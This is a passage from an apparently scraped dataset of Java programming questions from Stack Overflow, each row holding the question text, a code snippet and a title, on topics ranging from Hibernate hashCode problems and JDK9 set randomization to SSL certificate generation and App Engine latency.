keycloak-akka-http_2.11:1.0 [ trace ] Stack trace suppressed : run last * : update for the full output . [ error ] ( * : update ) sbt.ResolveException : unresolved dependency : junit # junit ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.jboss.spec.javax.servlet # jboss-servlet-api_3.1_spec ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : javax.validation # validation-api ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.jboss.spec.javax.annotation # jboss-annotations-api_1.2_spec ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : javax.activation # activation ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : commons-io # commons-io ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : net.jcip # jcip-annotations ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : javax.json.bind # javax.json.bind-api ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.jboss.logging # jboss-logging-annotations ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.jboss.logging # jboss-logging-processor ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.eclipse.microprofile.rest.client # microprofile-rest-client-api ; working @ user-System-Product-Name : not found [ error ] unresolved dependency : org.eclipse.microprofile.config # microprofile-config-api ; working @ user-System-Product-Name : not found",sbt : error importing resteasy-client +Java,"Let 's say I have POJO with getters and setters of different types . I want to write some generic algorithm for updating data from one to another based on just defining getters and setters via lambdas.I 'm trying to create it this way Then I go through all entries applying target entity to them and if result of getter is not null then I want to apply corresponding setter for other entity.But it wo n't work because Object is not castable to String . And I want to use it for different types not only String but also Integers , etc ... Is is solvable in some simple approach without creating special converter and associate it with every entry ?","private static final Map < Function < Entity , Object > , BiConsumer < Entity , Object > > ACCESSORS = new HashMap < Function < Entity , Object > , BiConsumer < Entity , Object > > ( ) { { put ( Entity : :getAreaCode , Entity : :setAreaCode ) ; } } ) ;",Generic way to update pojos via getters and setters +Java,"I have the following annotation ; and as you see , it is repeatable , and using the wrapper class Infos which is ; but I am getting the following compiler error on Info class ; target of container annotation is not a subset of target of this annotationWhat is the reason and solution to this error ?","@ Repeatable ( Infos.class ) @ Retention ( RetentionPolicy.RUNTIME ) @ Target ( { ElementType.Type , ElementType.Constructor } ) public @ interface Info { String [ ] value ( ) default { } ; } @ Retention ( RetentionPolicy.RUNTIME ) public @ interface Infos { Info [ ] value ( ) ; }",Repeatable annotation target subset mismatch compiler error +Java,"I am making a game and have a ConcurrentHashMap which contains all the players which are currently logged in . I have a AutoSaver thread which loops through the HashMap and saves all the player 1 by 1 . When there are not many players this is fine as it does n't take too much time to iterate but it can slow down a bit when there are many players logged in . I read using java stream and parallel , we can speed up processing of collections , so I tried changing my existing loop to now use stream and parallel.My question is , is my implementation correct ? Is there a better way to do it ? Is it thread safe now ? Here is the existing implementationHere is my implementation using stream and parallelEDITHere is my save manager implementationAgain I have just started using lambdas so please let me know if there is something wrong .","for ( Player player : ActiveConnections.getAllConnectedPlayers ( ) .values ( ) { if ( player ! = null ) saveManager.savePlayer ( player , true ) ; } ActiveConnections.getAllConnectedPlayers ( ) .values ( ) .stream ( ) .parallel ( ) .filter ( ( x ) - > x ! = null ) .forEach ( ( x ) - > saveManager.savePlayer ( x , true ) ) ; public class SaveManager { private MySqlManager sqlManager ; public SaveManager ( ) { sqlManager = MySqlManager.getInstance ( ) ; } public void savePlayer ( Player player , boolean autoSave ) { //Saves the player }",Changing existing foreach loop on ConcurrentHashMap to use Lambdas to harness parallel processing +Java,"We are trying to fetch posts which have 2 keywords ( e.g . Chicago Sports ) via the RestFB query interface.Its able to fetch posts from a certain account , but for some weird reason it skips the messages from a different account even though both of the messages have been marked as Public.What could be the reason that its unable to fetch data from a certain account . Note : I am using account1 's credentials to perform a search and the posts are present in account2 , account3.Appreciate your help in resolving this issue .","Connection < Post > messages = fbClient.fetchConnection ( `` search '' , Post.class , Parameter.with ( `` q '' , keyword ) , Parameter.with ( `` limit '' , limit ) , Parameter.with ( `` type '' , `` post '' ) ) ;",RestFB does n't fetch posts from certain account for certain keywords ? +Java,"In Scala 's parser combinators ( JavaTokensParser in particular ) there is a definition stringLiteral that matches a Java-like string.Unfortunately , this regex does not work for long strings . Does anyone know of a re-usable implementation that does , or a modification to the regex that is more space efficient ?",def stringLiteral : Parser [ String ] = ( `` \ '' '' + '' '' '' ( [ ^ '' \p { Cntrl } \\ ] |\\ [ \\ ' '' bfnrt ] |\\u [ a-fA-F0-9 ] { 4 } ) * '' '' '' + '' \ '' '' ) .r,Regex to match Java String +Java,"Reading this question and the answer given by Eugene , I found that JDK9 immutable sets and maps will introduce a source of randomness that will affect their traversal . This means that iteration order will indeed be random , at least among different runs of the JVM.As the spec does n't guarantee any traversal/iteration order for sets and maps , this is absolutely fine . In fact , code must never rely on implementation-specific details , but on the spec instead.I know that today , with JDK 8 , if I have i.e . a HashSet and do this ( taken from the linked answer ) : Then the iteration order of the elements will change and the two outputs will differ . This is because adding and removing 100 elements to the set changes the internal capacity of the HashSet and rehashes elements . And this is perfectly valid behavior . I 'm not asking about this here.However , with JDK9 , if I do this : And then , in another instance of the JVM , I run the same code , the outputs can be different , because randomization has been introduced.So far , I 've found this excellent video in youtube ( minute 44:55 ) , in which Stuart Marks says that one motivation for this randomization is : ( ... ) that people write applications that have inadvertent dependencies on iteration order . ( ... ) So , anyway , iteration order is a big deal and I think there 's a lot of code out there that has latent dependencies on iteration order that has not been discovered yet . ( ... ) So , our response to this is to deliberately randomize the iteration order in Set and Map in the new collections . So whereas before the iteration order of collections was unpredictable but stable , these are predictably unpredictable . So every time the JVM starts up , we get a random number and we use that at as a seed value that gets mixed in with the hash values . So , if you run a program that initializes a set and then prints out the elements in any order , you get an answer , and then , if you invoke the JVM again and run that same program , the set of elements usually would come out in a different order . So , the idea here is that ( ... ) if there are iteration order dependencies in your code , what used to happen in the past , is a new JDK release came out and you test your code and ( ... ) it 'd take hours of debugging to trace it down to some kind of change in iteration order . What that meant was there was a bug in that code that depended on the iteration order . Now , if you vary the iteration order more often , like every JVM invocation , then ( we hope ) that weird behavior will manifest itself more frequently , and in fact we hope while you 're doing testing ... So , the motivation is clear , and it 's also clear that this randomization will only affect the new immutable sets and maps.My question is : Are there any other motivations for this randomization and what advantages does it have ?","Set < String > wordSet = new HashSet < > ( Arrays.asList ( `` just '' , `` a '' , `` test '' ) ) ; System.out.println ( wordSet ) ; for ( int i = 0 ; i < 100 ; i++ ) { wordSet.add ( `` '' + i ) ; } for ( int i = 0 ; i < 100 ; i++ ) { wordSet.remove ( `` '' + i ) ; } System.out.println ( wordSet ) ; Set < String > set = Set.of ( `` just '' , `` a '' , `` test '' ) ; System.out.println ( set ) ;",JDK9 randomization on immutable sets and maps +Java,"I have a problem with hashCode ( ) that delegates to uninitialized objects using hibernate.My data-model looks as follows ( the following code is highly pruned to stress the problem and thus broken , do not replicate ! ) : Please note that the implementation of hashCode ( ) thoroughly follows the advice as given in the hibernate documentation . Now if I load an object of type Compound , it eagerly loads the HasSet with the parts . This calls the hashCode ( ) on the parts , which in turn calls the hashCode ( ) on the compound . However the problem is that at this point , not all values that are considered for creating the hashCode of the compound are yet available . Therefore , the hashCode of the parts changes after initialization is complete , thus braking the contract of the HashSet and leading to all kinds of difficult-to-track-down errors ( like e.g . having the same object in the parts set twice ) .So my question is : What is the simplest solution to avoid this problem ( I 'd like to avoid writing classes for custom loading/initialization ) ? Do I do anything wrong here entirely ? Edit : Am I missing something here ? This seems to be a basic problem , why do n't I find anything about it anywhere ? Instead of using the database identifier for the equality comparison , you should use a set of properties for equals ( ) that identify your individual objects . [ ... ] No need to use the persistent identifier , the so called `` business key '' is much better . It 's a natural key , but this time there is nothing wrong in using it ! ( article from hibernate ) And It is recommended that you implement equals ( ) and hashCode ( ) using Business key equality . Business key equality means that the equals ( ) method compares only the properties that form the business key . It is a key that would identify our instance in the real world ( a natural candidate key ) . ( hibernate documentation ) Edit : This is the stack trace when the loading happens ( in case this helps ) . At that point in time , the attribute someUniqueName is null and thus the hashCode is calculated wrongly .","class Compound { @ FetchType.EAGER Set < Part > parts = new HashSet < Part > ( ) ; String someUniqueName ; public int hashCode ( ) { final int prime = 31 ; int result = 1 ; result = prime * result + ( ( getSomeUniqueName ( ) == null ) ? 0 : getSomeUniqueName ( ) .hashCode ( ) ) ; return result ; } } class Part { Compound compound ; String someUniqueName ; public int hashCode ( ) { final int prime = 31 ; int result = 1 ; result = prime * result + ( ( getCompound ( ) == null ) ? 0 : getCompound ( ) .hashCode ( ) ) ; result = prime * result + ( ( getSomeUniqueName ( ) == null ) ? 0 : getSomeUniqueName ( ) .hashCode ( ) ) ; return result ; } } Compound.getSomeUniqueName ( ) line : 263 Compound.hashCode ( ) line : 286 Part.hashCode ( ) line : 123 HashMap < K , V > .put ( K , V ) line : 372 HashSet < E > .add ( E ) line : 200 HashSet < E > ( AbstractCollection < E > ) .addAll ( Collection < ? extends E > ) line : 305 PersistentSet.endRead ( ) line : 352 CollectionLoadContext.endLoadingCollection ( LoadingCollectionEntry , CollectionPersister ) line : 261 CollectionLoadContext.endLoadingCollections ( CollectionPersister , List ) line : 246 CollectionLoadContext.endLoadingCollections ( CollectionPersister ) line : 219 EntityLoader ( Loader ) .endCollectionLoad ( Object , SessionImplementor , CollectionPersister ) line : 1005 EntityLoader ( Loader ) .initializeEntitiesAndCollections ( List , Object , SessionImplementor , boolean ) line : 993 EntityLoader ( Loader ) .doQuery ( SessionImplementor , QueryParameters , boolean ) line : 857 EntityLoader ( Loader ) .doQueryAndInitializeNonLazyCollections ( SessionImplementor , QueryParameters , boolean ) line : 274 EntityLoader ( Loader ) .loadEntity ( SessionImplementor , Object , Type , Object , String , Serializable , EntityPersister , LockOptions ) line : 2037 EntityLoader ( AbstractEntityLoader ) .load ( SessionImplementor , Object , Object , Serializable , LockOptions ) line : 86 EntityLoader ( AbstractEntityLoader ) .load ( Serializable , Object , SessionImplementor , LockOptions ) line : 76 SingleTableEntityPersister ( AbstractEntityPersister ) .load ( Serializable , Object , LockOptions , SessionImplementor ) line : 3293 DefaultLoadEventListener.loadFromDatasource ( LoadEvent , EntityPersister , EntityKey , LoadEventListener $ LoadType ) line : 496 DefaultLoadEventListener.doLoad ( LoadEvent , EntityPersister , EntityKey , LoadEventListener $ LoadType ) line : 477 DefaultLoadEventListener.load ( LoadEvent , EntityPersister , EntityKey , LoadEventListener $ LoadType ) line : 227 DefaultLoadEventListener.proxyOrLoad ( LoadEvent , EntityPersister , EntityKey , LoadEventListener $ LoadType ) line : 269 DefaultLoadEventListener.onLoad ( LoadEvent , LoadEventListener $ LoadType ) line : 152 SessionImpl.fireLoad ( LoadEvent , LoadEventListener $ LoadType ) line : 1090 SessionImpl.internalLoad ( String , Serializable , boolean , boolean ) line : 1038 ManyToOneType ( EntityType ) .resolveIdentifier ( Serializable , SessionImplementor ) line : 630 ManyToOneType ( EntityType ) .resolve ( Object , SessionImplementor , Object ) line : 438 TwoPhaseLoad.initializeEntity ( Object , boolean , SessionImplementor , PreLoadEvent , PostLoadEvent ) line : 139 QueryLoader ( Loader ) .initializeEntitiesAndCollections ( List , Object , SessionImplementor , boolean ) line : 982 QueryLoader ( Loader ) .doQuery ( SessionImplementor , QueryParameters , boolean ) line : 857 QueryLoader ( Loader ) .doQueryAndInitializeNonLazyCollections ( SessionImplementor , QueryParameters , boolean ) line : 274 QueryLoader ( Loader ) .doList ( SessionImplementor , QueryParameters ) line : 2542 QueryLoader ( Loader ) .listIgnoreQueryCache ( SessionImplementor , QueryParameters ) line : 2276 QueryLoader ( Loader ) .list ( SessionImplementor , QueryParameters , Set , Type [ ] ) line : 2271 QueryLoader.list ( SessionImplementor , QueryParameters ) line : 459 QueryTranslatorImpl.list ( SessionImplementor , QueryParameters ) line : 365 HQLQueryPlan.performList ( QueryParameters , SessionImplementor ) line : 196 SessionImpl.list ( String , QueryParameters ) line : 1268 QueryImpl.list ( ) line : 102 < my code where the query is executed >",Delegating hash-function to uninitialized delegates in hibernate causes changing hashCode +Java,"At the moment i working with library which can throw hell alot of different exceptions ( 8-10 per method call ) and most of them must be handled , worse of all every method ( at any time ) can throw AuthenticationExpiredException , and i must re-attempt to authenticate . For example : And this is one of the smallest examples of exception handling . The main question here , is there any way to reduce amount of code which handle exceptions , and make logic cleaner ? UPDATEThanks for your feedback . I decided to create separate wrapper for this library by wrapping every method and handling them respectively . To support different handling methods i created interface for wrapper and then implemented it with my custom wrapper like this :","try { xStream = xSet.createXStream ( id , binding , mimeType ) ; //Method call } catch ( AuthenticationExpiredException authenticationExpiredException ) { try { this.authenticate ( ) ; // re-authenticate xStream = xSet.createXStream ( id , binding , mimeType ) ; //Method call again } catch ( XAMException xamException ) { throw new ConnectorException ( `` Error occurred during creating new Blob after attempting to re-authenticate '' , xamException ) ; } } catch ( XSystemCorruptException xSystemCorruptException ) { this.entities.clear ( ) ; this.closeConnection ( ) ; throw new ConnectorException ( `` XSystem was corrupt and connection was closed '' , xSystemCorruptException ) ; } catch ( XSetCorruptException xSetCorruptException ) { this.closeEntity ( entity ) ; throw new ConnectorException ( `` XSet for entity : `` + entity.getXuid ( ) + `` was currupt and removed '' , xSetCorruptException ) ; } catch ( XAMException xamException ) { throw new ConnectorException ( `` Error occurred during creating new Blob . `` , xamException ) ; } public interface XAMLibraryWrapper { // Methods } /** * Will attempt to recover before throwing RuntimeException */public class RecoveringXAMLibraryWrapper implements XAMLibraryWrapper { // Implementation }",Huge exception handling blocks in Java +Java,"Recently I wrote some tools that help me generate Java code for what would otherwise be long and tedious tasks . I use freemarker to write up templates . However , all whitespace in the templates is preserved in the output , resulting in quite messy code . I could remove indentation from my templates to fix this , but that makes my templates rather unmaintainable.Consider this simple example template : My template is nicely formatted , but my code comes out as this : Indentation is a bit too much , it should be : To accomplish this , I have to remove indentation from my template like this : For this simple case it is not really a problem to remove indentation from my template , but you could imagine complex templates to become quite unreadable.On the one side I really want my code to be nicely formatted , but on the other side I 'd like my templates to be nicely formatted as well . I use Eclipse as IDE , with is built-in formatter fully customized to my ( and my team 's ) wishes . It would be great if I could somehow generate code from freemarker templates and as a post processing step format its output with Eclipse 's formatter.I can of course run the formatter manually after generating my code , but I really want to automate this process.So , long story short , does anyone know how I can use Eclipse 's code formatter within my own Java code ?",public class MyTestClass { < # list properties as p > private String $ { p.name } ; < / # list > } public class MyTestClass { private String prop1 ; private String prop2 ; private String prop3 ; } public class MyTestClass { private String prop1 ; private String prop2 ; private String prop3 ; } public class MyTestClass { < # list properties as p > private String $ { p.name } ; < / # list > },Using the Eclipse code formatter from own program +Java,"I 've noticed periodic , but consistent latency spikes from my app running on app engine . At first I thought the network may be slow but app stats confirmed that not to be the case . I 've been able to reproduce the latency spikes using older and newer versions of the SDKs , currently I 'm using the following : App engine SDK : 1.9.42Google cloud endpoints : 1.9.42Objectify : 5.1.13Appstats ( to debug network latency ) So usage on the app is pretty low , over the last 30 days I 'm generally under 0.04 requests a second : Most work is done with one instance as well : Most operations ' latency is well under a second , but an alarming number of requests take 10-30x longer . So I figured it must just be network latency , but every appstat of a slower operation disproved this . Datastore and the network have always been incredibly reliable . Here is the anatomy of a slow request taking over 30 seconds : Here is the anatomy of a normal request : At a high level my code is pretty uninteresting : it 's a simple api that makes a few network calls and saves / reads data from the cloud datastore . The entire source can be found on github here . The app runs on a single auto scaling app engine instance and is warmed up . CPU usage over the last month doesnt seem to show anything exciting either : It 's really strange to see that even for quick operations , a huge percentage of time is spent on the CPU , even though the code simply creates a few objects , persists them , and returns JSON . I 'm wondering if the CPU is getting pegged on my app engine instance by another app which could be causing performance to periodically degrade . My appengine.xml config looks like this : And my web.xml looks like this : TLDR I 'm completely stuck and I 'm not sure how to debug or fix this issue and I 'm starting to think this is business as usual for smaller apps on app engine.I 'm thinking about turning off the resident instance for a while hoping that my app has just been running some bunk hardware or along side an app that is consuming alot of resources . Has anyone run into similar performance issues or knows of additional ways to profile your app ? EDIT : I 've tried running on 1 resident instance , I 've also tried setting concurrent requests at 2-4 per this question with no results . Logs and appstats both confirm that an inordinate amount of time is spent waiting for my code to initially run . Here is a request that takes 25 seconds before my first line of code is run , not sure what endpoints / app engine is doing in this time . Again load is still low and this is request is on a warmed up instance . EDIT 2 : Seems like for whatever reason app engine + endpoints doesnt play well with min-idle-instances set . Reverting to the default app engine config fixed my problem .",< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < appengine-web-app xmlns= '' http : //appengine.google.com/ns/1.0 '' > < application > sauce-sync < /application > < version > 1 < /version > < threadsafe > true < /threadsafe > < automatic-scaling > < ! -- always keep an instance up in order to keep startup time low -- > < min-idle-instances > 1 < /min-idle-instances > < /automatic-scaling > < /appengine-web-app > < web-app xmlns= '' http : //java.sun.com/xml/ns/javaee '' version= '' 2.5 '' > < servlet > < servlet-name > SystemServiceServlet < /servlet-name > < servlet-class > com.google.api.server.spi.SystemServiceServlet < /servlet-class > < init-param > < param-name > services < /param-name > < param-value > com.sauce.sync.SauceSyncEndpoint < /param-value > < /init-param > < /servlet > < servlet-mapping > < servlet-name > SystemServiceServlet < /servlet-name > < url-pattern > /_ah/spi/* < /url-pattern > < /servlet-mapping > < ! -- reaper -- > < servlet > < servlet-name > reapercron < /servlet-name > < servlet-class > com.sauce.sync.reaper.ReaperCronServlet < /servlet-class > < /servlet > < servlet-mapping > < servlet-name > reapercron < /servlet-name > < url-pattern > /reapercron < /url-pattern > < /servlet-mapping > < servlet > < servlet-name > reaper < /servlet-name > < servlet-class > com.sauce.sync.reaper.ReaperServlet < /servlet-class > < /servlet > < servlet-mapping > < servlet-name > reaper < /servlet-name > < url-pattern > /reaper < /url-pattern > < /servlet-mapping > < welcome-file-list > < welcome-file > index.html < /welcome-file > < /welcome-file-list > < filter > < filter-name > ObjectifyFilter < /filter-name > < filter-class > com.googlecode.objectify.ObjectifyFilter < /filter-class > < /filter > < filter-mapping > < filter-name > ObjectifyFilter < /filter-name > < url-pattern > /* < /url-pattern > < /filter-mapping > < /web-app >,App engine consistent latency spikes under low load +Java,"I 'm going through the Cracking the Coding Interview book right now and I 'm doing a binary tree exercise . There is a snippet of code that is according to the book O ( NlogN ) , however , I do n't understand why that is . I can understand if the algorithm was O ( N ) , but I do n't know where the logN is coming from in their analysis .","int getHeight ( TreeNode root ) { if ( root == null ) return -1 ; // Base case return Math.max ( getHeight ( root.left ) , getHeight ( root.right ) ) + 1 ; } boolean isBalanced ( TreeNode root ) { if ( root == null ) return true ; // Base case int heightDiff = getHeight ( root.left ) - getHeight ( root.right ) ; if ( Math.abs ( heightDiff ) > 1 ) { return false ; } else { // Recurse return isBalanced ( root.left ) & & isBalanced ( root.right ) ; } }",Explain why this binary tree traversal algorithm has O ( NlogN ) time complexity ? +Java,"I have several AspectJ policy enforcement aspects that are applied to my Maven src/main/java directory . Recently , some holes in these aspects have been discovered , so I would like to create unit tests for them.What I 'd like to do is create Java files in the test directory ( which is not compiled by AspectJ ) , then programmatically invoke the AspectJ compiler on selected Files and making assertions based on the outcome.Something like this would be perfect : has anybody done anything similar ?","assertThat ( `` MyJavaClass.java '' , producesCompilerErrorFor ( `` SomeAspect.aj '' ) ) ;",Is there a smart way to unit test AspectJ policy enforcement aspects ? +Java,"I am working on a distributed application with a number of uniquely identified slave processes that will communicate with a master application via SSL enabled sockets . The application is written in java.I need some help understanding SSLSockets , or rather , the certificates they use.What i am looking for is someone who can tell me if i have understood the basic workings of certificate chains correctly , but i would n't say no to a code sample either.I would like a setup where the server itself has a CA signed certificate , and every slave will get their own certificate created by the master application.First question : Is this kind of certificate chain the correct way to tackle the problem ? I am thinking this is the simplest way of achieving the master and slaves all have a unique identity without having to CA sign every certificate.Second question : How do i programatically go about creating an SSL certificate in java ? I am trying to create the last certificate in the chain here , assuming i already have the `` Main server cert '' for now.I have gotten so far as generating a key for the certificate ( Where type is RSA ) : I do n't assume that setting the serverCert as the issuer is enough to sign the certificate ? As far as i have understood i need to sign the new certificate with the next certificate in the chain somehow , but how do i do that ? Do i sign the certificate with the serverCert 's private key like : Are there any other steps i missed ?","CA- > Main server cert- > Master SSL certCA- > Main server cert- > Slave SSL cert 1CA- > Main server cert- > Slave SSL cert 2CA- > Main server cert- > Slave SSL cert 3 public KeyPair generateKeypair ( String type , int bytes ) throws NoSuchAlgorithmException { KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance ( type ) ; keyPairGenerator.initialize ( bytes ) ; return keyPairGenerator.generateKeyPair ( ) ; } X509Principal issuer = PrincipalUtil.getSubjectX509Principal ( serverCert ) ; SubjectPublicKeyInfo key = SubjectPublicKeyInfo.getInstance ( kpair.getPublic ( ) .getEncoded ( ) ) ; X509v3CertificateBuilder certGen = new X509v3CertificateBuilder ( issuer , BigInteger.valueOf ( new SecureRandom ( ) .nextInt ( ) ) , before , after , subject , key ) ; AlgorithmIdentifier sigAlgId = new DefaultSignatureAlgorithmIdentifierFinder ( ) .find ( `` SHA1withRSA '' ) ; AlgorithmIdentifier digAlgId = new DefaultDigestAlgorithmIdentifierFinder ( ) .find ( sigAlgId ) ; AsymmetricKeyParameter akp = PrivateKeyFactory.createKey ( serverPrivateKey.getEncoded ( ) ) ; AlgorithmIdentifier sigAlgId = new DefaultSignatureAlgorithmIdentifierFinder ( ) .find ( `` SHA1withRSA '' ) ; AlgorithmIdentifier digAlgId = new DefaultDigestAlgorithmIdentifierFinder ( ) .find ( sigAlgId ) ; ContentSigner sigGen = new BcRSAContentSignerBuilder ( sigAlgId , digAlgId ) .build ( akp ) ;",Creating certificates for SSL communication +Java,"I tried to use reference method with expression ArrayType [ ] : :new in the following example : OutputBut what i get in method test1 is only an array with null elements , should n't the expression ArrayType [ ] : :new create an array with the specified size and call the construction of class A for each element like what happen when using expression Type : :new in method test3 ?","public class Main { public static void main ( String [ ] args ) { test1 ( 3 , A [ ] : :new ) ; test2 ( x - > new A [ ] { new A ( ) , new A ( ) , new A ( ) } ) ; test3 ( A : :new ) ; } static void test1 ( int size , IntFunction < A [ ] > s ) { System.out.println ( Arrays.toString ( s.apply ( size ) ) ) ; } static void test2 ( IntFunction < A [ ] > s ) { System.out.println ( Arrays.toString ( s.apply ( 3 ) ) ) ; } static void test3 ( Supplier < A > s ) { System.out.println ( s.get ( ) ) ; } } class A { static int count = 0 ; int value = 0 ; A ( ) { value = count++ ; } public String toString ( ) { return Integer.toString ( value ) ; } } [ null , null , null ] [ 0 , 1 , 2 ] 3",Reference method with array constructor +Java,"I have the following example classes in Java : The compiler error states that the arguments can not be applied to the default constructor in Sub , which is perfectly understandable . What I 'm curious about is the rationale behind this decision . Java generates the default empty constructor in Sub ; why ca n't it call it behind the scenes in this case ? Is this primarily a case of sane hand-holding , or is there a technical reason ? EDIT I 'm aware that this is a language limitation . I 'm curious about why it is a language limitation.EDIT 2It seems that , as is often the case , I was too close to the code I was actually working in to see the big picture . I 've posted a counter-example in the answers below that shows why this is a Bad Thing® .",public class A { } public class Super { protected Super ( ) { } public Super ( A a ) { } } public class Sub extends Super { } public class Consumer { public Consumer ( ) { Sub sub = new Sub ( new A ( ) ) ; //compiler error } },Ca n't call supertype constructor directly - why not ? +Java,"I 've just imported Eclipse project into Android Studio , and it resulted the above message when building.I am deving a simple Android app without any framework like Spring/Hibernate and I am not using ResourceBundle anywhere ( I am using res/values/strings.xml solution ) .My project has a dapendency of Google Play services , which by the look contains some references to the ResourceBundle class.The other issue is that I can not resolve any class from ads namespace , like AdView : import com.google.android.gms.ads.AdView ; This sounds like it 's related to the original issue.Also I am not using gradle as it blows out my whole project properties , from unknown reasons .","Error : Android Source Generator : Error : Ca n't find bundle for base name messages.AndroidJpsBundle , locale pl_PLjava.util.MissingResourceException : Ca n't find bundle for base name messages.AndroidJpsBundle , locale pl_PL at java.util.ResourceBundle.throwMissingResourceException ( ResourceBundle.java:1564 ) at java.util.ResourceBundle.getBundleImpl ( ResourceBundle.java:1387 ) at java.util.ResourceBundle.getBundle ( ResourceBundle.java:773 ) at org.jetbrains.jps.android.AndroidJpsBundle.getBundle ( AndroidJpsBundle.java:22 ) at org.jetbrains.jps.android.AndroidJpsBundle.message ( AndroidJpsBundle.java:32 ) at org.jetbrains.jps.android.AndroidSourceGeneratingBuilder.runAaptCompiler ( AndroidSourceGeneratingBuilder.java:971 ) at org.jetbrains.jps.android.AndroidSourceGeneratingBuilder.doBuild ( AndroidSourceGeneratingBuilder.java:210 ) at org.jetbrains.jps.android.AndroidSourceGeneratingBuilder.build ( AndroidSourceGeneratingBuilder.java:114 ) at org.jetbrains.jps.incremental.IncProjectBuilder.runModuleLevelBuilders ( IncProjectBuilder.java:1246 ) at org.jetbrains.jps.incremental.IncProjectBuilder.runBuildersForChunk ( IncProjectBuilder.java:923 ) at org.jetbrains.jps.incremental.IncProjectBuilder.buildTargetsChunk ( IncProjectBuilder.java:995 ) at org.jetbrains.jps.incremental.IncProjectBuilder.buildChunkIfAffected ( IncProjectBuilder.java:886 ) at org.jetbrains.jps.incremental.IncProjectBuilder.buildChunks ( IncProjectBuilder.java:719 ) at org.jetbrains.jps.incremental.IncProjectBuilder.runBuild ( IncProjectBuilder.java:371 ) at org.jetbrains.jps.incremental.IncProjectBuilder.build ( IncProjectBuilder.java:178 ) at org.jetbrains.jps.cmdline.BuildRunner.runBuild ( BuildRunner.java:138 ) at org.jetbrains.jps.cmdline.BuildSession.runBuild ( BuildSession.java:308 ) at org.jetbrains.jps.cmdline.BuildSession.run ( BuildSession.java:138 ) at org.jetbrains.jps.cmdline.BuildMain $ MyMessageHandler.lambda $ channelRead0 $ 0 ( BuildMain.java:235 ) at org.jetbrains.jps.service.impl.SharedThreadPoolImpl.lambda $ executeOnPooledThread $ 0 ( SharedThreadPoolImpl.java:42 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:511 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 )","Import from Eclipse to Android Studio : Ca n't find bundle messages.AndroidJpsBundle , locale pl_PL" +Java,"I get a stream of some custom objects and I would like to create a map Map < Integer , MyObject > with index of each object as key . To give you a simple example : Obviously , this does n't compile because : local variables referenced from a lambda expression must be final or effectively finalIs there a simple way to map elemnts of a stream to their indices so that the expected output for above example is something like :","Stream < String > myStream = Arrays.asList ( `` one '' , '' two '' , '' three '' ) .stream ( ) ; Integer i = 0 ; Map < Integer , String > result3 = myStream.collect ( Collectors.toMap ( x - > i++ , x - > x ) ) ; { 1=one , 2=two , 3=three }",How to map elements to their index using streams ? +Java,I have the codeAnd I have two problems : How to convert Statement to Expression ? I want to check is that Method Call . I tried to check that they are incompatible types by this way : if ( stmt instanceof MethodCallExp ) but got error . I entered the code I use now . Is that the one way to perform check ? System.out.println ( `` Scope : `` + exp.getScope ( ) ) ; will be displayed the object/package/package+class name . But how to get its type ? For example for the code System.out.println ( `` Hello world '' ) ; Should be outputted Type : java.io.PrintStream,"private static class MyVisitor extends VoidVisitorAdapter < Object > { @ Override public void visit ( MethodCallExpr exp , Object arg ) { System.out.println ( `` Scope : `` + exp.getScope ( ) ) ; System.out.println ( `` Method : `` + exp.getName ( ) ) ; if ( exp.getArgs ( ) ! = null ) for ( Expression e : exp.getArgs ( ) ) { System.out.println ( `` \tArgument : `` + e.toString ( ) ) ; } System.out.println ( ) ; } } CompilationUnit cu = JavaParser.parse ( new File ( `` Test.java '' ) ) ; for ( TypeDeclaration type : cu.getTypes ( ) ) { for ( BodyDeclaration dec : type.getMembers ( ) ) { if ( dec instanceof MethodDeclaration ) { MethodDeclaration mdec = ( MethodDeclaration ) dec ; BlockStmt block = mdec.getBody ( ) ; for ( Statement stmt : block.getStmts ( ) ) { MyVisitor visitor = new MyVisitor ( ) ; s.accept ( visitor , null ) ; } } } }",How to get final package name ? +Java,"I 'm just starting with playFramework with the intention on speeding up a web application development taking advantage of my background in Java . As Scala seems to be the most commmon option for the views in play , I decided to use it despite being new to it ( and not intending to deepen into it , at least for now ) .Well , I just figured out that `` type '' is a reserved word in scala , and though I 've seen other Q & As such as Is there a way to use `` type '' word as a variable name in Scala ? and How to use Java package com.example ... object in Scala saying that I just needed to add to enclose type with ` ` However , when I use the template code below : it outputs : models.Alarm @ 1.typeinstead of the value of type.How can I escape the keyword in this case ?","< dl > @ for ( alarm < - alarms ) { < dt > @ alarm.id < /dt > < dd > @ alarm. ` type ` < /dd > @ * type is a scala keyword , so I had to escape it * @ < dd > @ form ( routes.Application.deleteAlarm ( alarm.id ) ) { < input type= '' submit '' value= '' Delete '' > } < /dd > } < /dl >",Escaping scala reseverd word `` type '' in scala templete in play framework +Java,I am absolutely new to Java . I am creating a Servlet and getting the error interface is expected here . Can you please make me understand the problem ( s ) ? I am using IntelliJ 14 . My Servlet code is as follows : - Thanks in Advance .,"package ERPdetector ; /** * Created by Sinha on 12/15/14 . */ import javax.servlet.http . * ; import javax.servlet . * ; import java.io . * ; public class ErpServlet implements HttpServlet { public void doGet ( HttpServletRequest req , HttpServletResponse res ) throws ServletException , IOException { res.setContentType ( `` text/html '' ) ; PrintWriter pw=res.getWriter ( ) ; String dropdown=req.getParameter ( `` dropdown '' ) ; pw.println ( `` You Requested for `` +dropdown ) ; pw.close ( ) ; } }",Java Servlet interface is expected here +Java,"How can I extract two elements from a Stream by their positions ? For example I 'm trying to extract element 0 and 1 ( these numbers are arbitrary ! ) from a Stream < String > . A naive approach is this : This produces the following output : I understand that it 's because s0 will enter the stream , encounter skip ( 0 ) , then peek ( c0 ) ( which gives the the first line ) and then skip ( 1 ) , which will skip this element and then apparently continue with the next element from the beginning of the stream.I thought I 